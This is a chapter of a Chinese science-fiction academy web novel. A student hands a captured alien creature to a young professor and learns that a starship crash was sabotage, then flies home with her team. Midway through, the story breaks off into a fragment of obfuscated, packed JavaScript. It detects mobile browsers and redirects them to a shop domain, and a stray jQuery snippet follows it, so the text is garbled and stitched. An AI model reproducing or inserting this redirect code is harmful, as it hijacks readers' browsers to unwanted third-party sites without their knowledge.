远处,一个人影从停机坪的另一端走过来。
来者穿着深灰色的长风衣,林亦可认出来了,是卢修斯·索恩。
他走路的姿势很特别,步子不大,但每一步都很稳,像是踩在丈量过的距离上。
风衣的下摆被风吹起,露出里面的黑色军装,腰间别着一把长剑,剑鞘是银白色的,上面刻着复杂的花纹。
他的头发被整齐地梳向脑后,露出饱满的额头和一双深褐色的眼睛。那双眼睛此刻正带着一种如释重负的神情,像是在说:“终于送走这群小崽子了。”
卢修斯·索恩,星辰学院最年轻的教授,也是战斗力最强的教授之一。
在学院里,他的实力听说仅次于校长肖峰元帅,据说他曾经一个人深入虫族巢穴,救出了被困的七名学生,身上中了十几处伤,硬是撑到了救援队到来。
从那以后,学生们私下给他起了个外号,叫“索恩铁人”。
但他的外表和“铁人”完全不搭边。他的五官很柔和,眉眼间带着一种书卷气,笑起来的时候像一个人畜无害的学者。只有和他交过手的人才知道,这张温和的脸下面藏着多么恐怖的力量。
现在,他穿着长风衣,身高196,看上去有一种高定奢侈品御用男模特般地气质。
“卢修斯教授。”林亦可喊了一声。
卢修斯·索恩看到她,微微点头,然后脚步一转,朝她走了过来。他的目光在垃圾队其他人身上扫了一圈,似乎在确认什么,然后停在林亦可脸上。
“林同学,借一步说话。”
林亦可心里咯噔了一下。
虽然这位卢修斯教授看上去很好说话,但她知道,这家伙私底下其实性格蛮恶劣的。
“好。”她跟着他走到停机坪边缘的一个角落。
这里离其他人有一段距离,周围没有遮挡,如果有人靠近,一眼就能看到。
但林亦可注意到,卢修斯·索恩选择的位置很巧妙——他背对着太阳,阳光在他身后形成一圈光晕,让他的脸藏在阴影里。
而从林亦可的方向看过去,正好能看到整个停机坪,谁在看她,一目了然。
这个细节让林亦可的心沉了一下。
他不是一个普通的教授。他太警惕了。
“别紧张。”卢修斯·索恩似乎看出了她的心思,笑了笑,“我只是想给你看一样东西。”
他蹲下来,拨开脚下的草丛。
林亦可跟着蹲下去。
草丛里,蜷缩着一头小小的虫族。
银白色的鳞甲在阳光下闪闪发光,四条细长的腿缩在身体下面,尾巴绕了一圈,末端的小鼓包微微颤动。它的眼睛是金色的,像两颗小小的太阳,此刻正安静地看着林亦可。
居然是实验体X-001!!
从地下实验室出来之后,就在草丛里一直躲着,一路跟着她回来的那头虫族。
林亦可的心跳漏了一拍。
“它一直在草丛里躲着。”卢修斯·索恩说,语气很平淡,像是在说今天天气不错,“从你到营地开始,它就跟着你了。今天也是一路跟到停机坪。”
林亦可看着那头虫族。虫族也看着她,金色的眼睛在阳光下闪闪发光,没有攻击,没有嘶吼,没有露出牙齿,只是安静地蜷缩在那里。
“这几天它一直呆在营地。”
“它怎么躲的这么好?”林亦可问。
“不知道。”卢修斯·索恩说,“但它很聪明。营地的仓库有一个通风口,它应该是从那里钻进去的。这几天,除了我没人发现。”
它在仓库里藏了至少四天。没有食物,没有水,没有光,只有黑暗。然后它跟着林亦可,从遗迹到营地,从营地到港口,从港口到停机坪。一路跟着,不远不近,不吵不闹。
“卢修斯教授。”林亦可开口。
“嗯。”
“它不会伤人。”
卢修斯·索恩看着她。
“你怎么知道?”
林亦可想起在地下实验室里,那些被翻过的实验记录、少了一袋的暗月草种子、还有那个一直跟着他们的虫族。
她的直觉告诉她,卢修斯·索恩找她,或许和这些有关。
“因为我们在厄里倪厄斯的地下实验室里找到它的时候,它就没有攻击过任何人。”
林亦可说,“它在培养舱里沉睡了三十年。是我们在战斗的时候惊醒它的。它从地下爬出来,跟着我们,从地下实验室到地面,从地面到丛林,从丛林到停机坪。这六天时间,它没有伤害过任何人。”
卢修斯·索恩没有说话。
他低头看着那头虫族,虫族也看着他。金色的眼睛和深褐色的眼睛对视了几秒,然后虫族的尾巴轻轻动了一下,末端的小鼓包微微翘起,像是在打招呼。
“有意思。”卢修斯·索恩笑了,不是那种客套的笑,是真正的、发自内心的、像一个孩子发现了新奇玩具一样的笑,“你要带着它?”
“不。”林亦可说,“我不想带它。可是它要跟着我,我甩不掉。”
卢修斯·索恩若有所思地看了她一眼。
“那你打算怎么办?”
林亦可沉默了一会儿。她确实不知道该怎么办。这头虫族是实验体,是贝塔星系科学院的研究成果。
如果被别人发现,她根本解释不清楚。就算她解释清楚了,学院也不会允许一个学生带着一头虫族到处走。
毕竟在这个世界里,人类和虫族是对立的关系,已经对立了好几百年了。
更何况,这头虫族虽然现在温顺,但谁知道它会不会突然暴走?
“ok,不装了!我可以告诉你,我另一个身份。”卢修斯教授突然拨了拨本来一丝不苟,但因为拨这一下拨乱了的头发。
“实际上”
“我除了是一名军官,战斗指挥系的实战教授,保障队的领队以外,我还是——”
“你还研究虫族与植物的共生关系,对吗?”林亦可截断他接下来的话。
“对。”卢修斯.索恩顿了一下,才点点头,“不是,你是怎么知道的……”
“那你能不能养它?”林亦可指着实验体X-001,开门见山地问道。
卢修斯·索恩愣了一下。
“养它?”
“嗯。”林亦可说,“你是教授,你有实验室,有权限,有资源。你养它,比我养它合适。”
卢修斯·索恩看着她,眼神有些复杂。
他不是没想过这个可能,但他没想到林亦可会主动提出来。这头虫族是她找到的,而且它只跟着她……按理说,她就没有一点好奇吗?
“你舍得?”他问。
“舍不得。”林亦可谎话随口就来,“但把它交给你,我放心。”
卢修斯·索恩沉默了片刻。
“好。”他说,“那把它交给我,可以吗?”
“可以。”林亦可说,“但你要定期告诉我它的状况。”
“当然。”
“那么,卢修斯教授,我们互相加个光脑联络吧!”
“行。”卢修斯·索恩从口袋里拿出光脑。
他的光脑是银白色的,外壳上贴着一张小小的贴纸——一只金黄色肥嘟嘟的卡通猫,捧着一条鱼,眼睛眯成两条线,和他在通讯软件上的头像很像。
林亦可:“……”
她看着那张贴纸,忍不住多看了一眼。一只猫捧着鱼,眯着眼睛,看起来傻乎乎的。
“不可爱吗?”卢修斯·索恩盯着自己的猫,笑得一脸痴汉,“这是我的猫儿子,发财。”
“是挺可爱的。”林亦可说。
这猫的外形和蓝星上的金渐层英国短毛猫几乎一样,头大脸圆、四肢粗短发达,全身金黄渐变色的毛发和?圆滚滚的体型?,是真的挺可爱的。
两人互相加了光脑通讯。
林亦可看着通讯录里新出现的名字——卢修斯·索恩,头像是一只憨态可掬的猫咪。
她很难把这个头像和眼前这位“最年轻战斗力最强的教授”联系起来。
但转念一想,一个养猫的男人,用爱猫做头像,也没什么好奇怪的。
“有什么发现,我会告诉你。”卢修斯·索恩收起光脑,低头看了一眼脚边的虫族。虫族还在看着他,金色的眼睛一眨不眨,尾巴轻轻摇晃。
“还有一件事。”林亦可说。
卢修斯·索恩抬起头。
“试炼的第一天,星舰坠毁后,我的光脑失灵了。”林亦可的声音低了下来,“有人在我掉落的那片区域,放了信号干扰器。而且,我落地没多久就遇到了变异巨蜥。不是偶然,是有人在故意针对我。”
卢修斯·索恩的表情变了。
不是惊讶,而是一种“果然如此”的凝重。他的眉头微微皱起,嘴角的笑意消失了。
他抬起头,目光扫过整个停机坪,像是在确认有没有人靠近。然后他低下头,用只有两个人才能听到的声音说:“我也发现了。”
“什么?”林亦可的心跳加速了。
“星舰坠毁不是意外。”卢修斯·索恩说,“能量风暴来的时候,星舰的防护系统被人动了手脚。
如果没有人动手脚,以那艘星舰的性能,完全可以安全降落。”
林亦可的手指攥紧了。
能量风暴。防护系统。被人动了手脚。这不是她的想象,不是她的被害妄想,是卢修斯·索恩——星辰学院最年轻的教授,战斗力最强的教授——亲口告诉她的。
“是谁?”她问。
“不知道。”卢修斯·索恩摇头,“但能在星舰上动手脚的人,不是学生。”
林亦可的心沉了下去。
不是学生,那就是——老师、教授、保障队护卫,或者学院的工作人员。
“这件事,不要说出去。”卢修斯·索恩看着她,眼神很认真,“保护好自己,别把自己卷入风暴中。”
“可是——”
“没有可是。”他打断她,“你现在是C级,连自保都做不到。卷进去,只会死。”
林亦可的嘴唇抿紧了。她想反驳,但她知道他说的是对的。C级,垃圾队的队长,药园的小花匠,不招庄宴殿下待见的花瓶未婚妻——她在学院里什么都不是。卷进去,只有死路一条。
“我知道了。”她说。
卢修斯·索恩看着她,沉默了一会儿。
“你很聪明。”他说,“比我想象的聪明。”
“但要学会控制自己,庄宴他,你的身份……已经很敏感了,低调低调,最好再低调一些,不要再陷入舆论风波里去了。”
林亦可愣了一下。他怎么什么都知道?他不是一直在厄里倪厄斯星球这边搞研究顺便搞保障吗?
等等!他是在夸她,还是在骂她?
“走吧。”卢修斯·索恩转身,朝着星舰的方向走去,“你的队友还在等你。”
走了几步,他停下来,没有回头。
“不过——”
“林亦可,你是怎么知道我是研究虫族与植物共生关系的教授?”
林亦可笑了,她就知道卢修斯肯定会好奇,“药园植物培育系的贺教授,说的。”
“而且我感觉你对实验体001不惊讶,你应该不是第一次见到它了。”
“卢修斯教授,你也去过那个地下实验室对不对?”
“嗯。”
“你母亲的事,我听说过一些。她是一个了不起的研究员。”
林亦可的心跳又漏了一拍。
“你认识我母亲?”
“不。她大我二十届!我当年可是星辰学院文武全才的少年学员!我12岁就入学了!20岁当上教授!今年才26岁!”卢修斯似乎非常介意年龄,生怕别人把他说老了。
“但我看过她的研究笔记。”卢修斯·索恩说,“在禁入区。”
“行了,就这样,001我带走了。”
卢修斯.索恩走了。
深灰色的风衣在晨风中飘扬,银白色的长剑在腰间轻轻晃动。
林亦可站在原地,看着他的背影,脑海里反复回荡着他最后一句话——“在禁入区。”她母亲的研究笔记,在禁入区里。
贺教授说过,卢修斯·索恩也说过。禁入区里,到底藏着什么?
林亦可回到垃圾队的时候,赵天明已经把行李收拾好了。
他的背包鼓鼓囊囊的,里面塞满了这些天的战利品——虫族的触角、火晶石的样本、还有一颗他从巨蜥嘴里拔下来的牙齿,说是要挂在床头辟邪。
“队长!你回来了!”赵天明迎上来,“卢修斯教授找你干什么?”
“没什么。”林亦可说,“问了一些试炼的事。”
赵天明没有追问。他看得出来林亦可不想说,就不问了。
“那我们走吧?星舰要起飞了。”
“嗯。”
垃圾队五个人,排成一列,朝星舰走去。
赵天明走在最前面,朱婷婷跟在他后面,孙小胖走在中间,凯瑟琳走在倒数第二个,伊森走在最后面。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609997|205911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>林亦可走在他们旁边。
她没有走在最前面,也没有走在最后面。她走在中间,和他们并排。垃圾队的队形,就这样无声无息地变了。
以前,她是走在最前面的人,带着他们。现在,她走在他们中间,和他们一起。
飞行器在营地降落,所有队伍依次登机。全明星队先上,垃圾队依然排在最后面。
机舱里,位置不多。全明星队坐在前面,垃圾队坐在后面。中间隔着一排空位,像是一条看不见的河。
赵天明坐在林亦可旁边,小声说:“队长,他们好像故意跟我们隔开。”
“嗯。”
“为什么?”
“因为不想看到我。”
“为什么不想看到你?”
“因为看到我,就会想起不开心的事。”
赵天明似懂非懂,但他不问了,他靠在椅背上,闭上眼睛。
林亦可回头看了一眼。
停机坪上,卢修斯·索恩还站在那里。他的手里捧着头小小的虫族,银白色的鳞甲在阳光下闪闪发光。虫族的尾巴绕在他的手腕上,金色的眼睛看着林亦可离开的方向。
没有告别。
没有回头。
只是看着。
实验体X-001跟着卢修斯走了,它跟着他更安全。
林亦可转过身,走进飞行器。
舱门在她身后缓缓关上。
飞行器起飞了,将所有学生送上星舰。
垃圾队被安排在第三艘星舰的最后一排,和来时一样。
但这一次,没有人嘲笑他们了。七天的试炼,垃圾队的表现有目共睹。他们不是最强的,但他们是所有人里唯一一支全员存活、全员晋级的队伍。
没有出局,没有重伤,所有人都活着回来了。
赵天明靠在座位上,仰头看着天花板,长长地呼出一口气。
“活着真好。”
朱婷婷坐在他旁边,小声说:“我们真的活着回来了。”
孙小胖在吃零食,嘴里塞得满满的,含糊不清地说:“活着真好,零食还没吃完。”
凯瑟琳闭着眼睛,靠在椅背上,嘴角带着一丝笑意。
伊森坐在林亦可旁边,望着舷窗外的星空。
林亦可看着舷窗,手指无意识地摩挲着手腕上的藤蔓。翠绿色的光很微弱,在白炽灯光下几乎看不出来。
“林亦可。”伊森.海斯的声音从旁边传来。
她转头看他。
“回去之后,你打算怎么做?”他问。
“先吃饭。”
“然后呢?”
“然后睡觉。”
“再然后?”
“再然后……”林亦可想了想,“去找贺教授。问他小草的事。”
“我陪你。”
“好。”
星舰起飞了。
舷窗外的风景从地面变成天空,从天空变成云层,从云层变成星空。三颗月亮越来越小,渐渐变成三个光点。
厄里倪厄斯星球越来越远,像一颗淡紫色的珍珠,挂在黑色的天幕上。
林亦可坐在最后一排,靠着舷窗,看着窗外的星空。
她的手里握着光脑,屏幕上显示着垃圾队的积分分配记录。六万四。每个人六万四。在星辰学院,积分可以换很多东西——营养剂、护具、稀有材料、甚至可以直接兑换学分。
六万四,足够她买很多银叶花的种子了,真好,有了积分,就不用星币去买东西了,星币可以省下来了!
她会把银叶花种在十二区。
和月沼青苔一起。
等她准备好了,她会去禁入区。
打开那扇门。
找到母亲的研究笔记。
找到异能的真相。
然后——
“队长。”赵天明的声音从旁边传来。
林亦可关掉光脑,转头看着他。
“怎么了?”
“没什么。”赵天明挠挠头,“就是想喊你一声。”
林亦可看着他。
赵天明咧嘴笑了。
“队长,以后不管你还参不参加试炼,你都是我们队长。”
朱婷婷小声说:“嗯。”
孙小胖用力点头。
凯瑟琳睁开眼睛,看了林亦可一眼,然后重新闭上。
伊森没有说话。但他的嘴角,微微上翘。
林亦可看着他们,眼眶有些酸。
“嗯。”她说,“我是你们队长。”
不管以后怎么样,这个身份不会变。
星舰在星空中穿行。
舷窗外的星星像一颗颗钻石,镶嵌在黑色的天鹅绒上。
林亦可靠在椅背上,闭上眼睛。
她的手里还攥着光脑。
光脑的屏幕上,是一条未发送的消息。
收件人:贺教授。
内容:我回来了。月沼青苔发芽了吗?
她没有发出去。
她还在想。
禁入区里,到底有什么?
她母亲的研究笔记,记录了些什么?
那扇门,真的需要她的血才能打开吗?
她的血——
和普通人,有什么不同?
林亦可睁开眼睛,转头看着伊森。
伊森也在看舷窗外的星空。
“伊森学长。”她轻声喊。
“嗯。”
“你以后,还会参加野外试炼吗?”
伊森沉默了一会儿。
“我入学一年多,这是我第一次参加试炼。”
“以后……”
“你参加,我就参加。”
林亦可愣了一下。
“为什么?”
伊森没有回答。
他转过头,看着她。
黑色的眼睛里,映着星光。
“因为你在。”
林亦可的心跳加速了。
她移开目光,假装在看舷窗外的星星。
但她的嘴角,微微上翘。
星舰在星空中穿行。
向着贝塔星。
向着星辰学院。
向着未知的明天。
林亦可闭上眼睛。
她的手里,还握着那个盒子。
能闻到淡淡的清香。
她把它放进口袋里。
星舰在星空中穿行。
穿行。
穿行。
向着未来。
……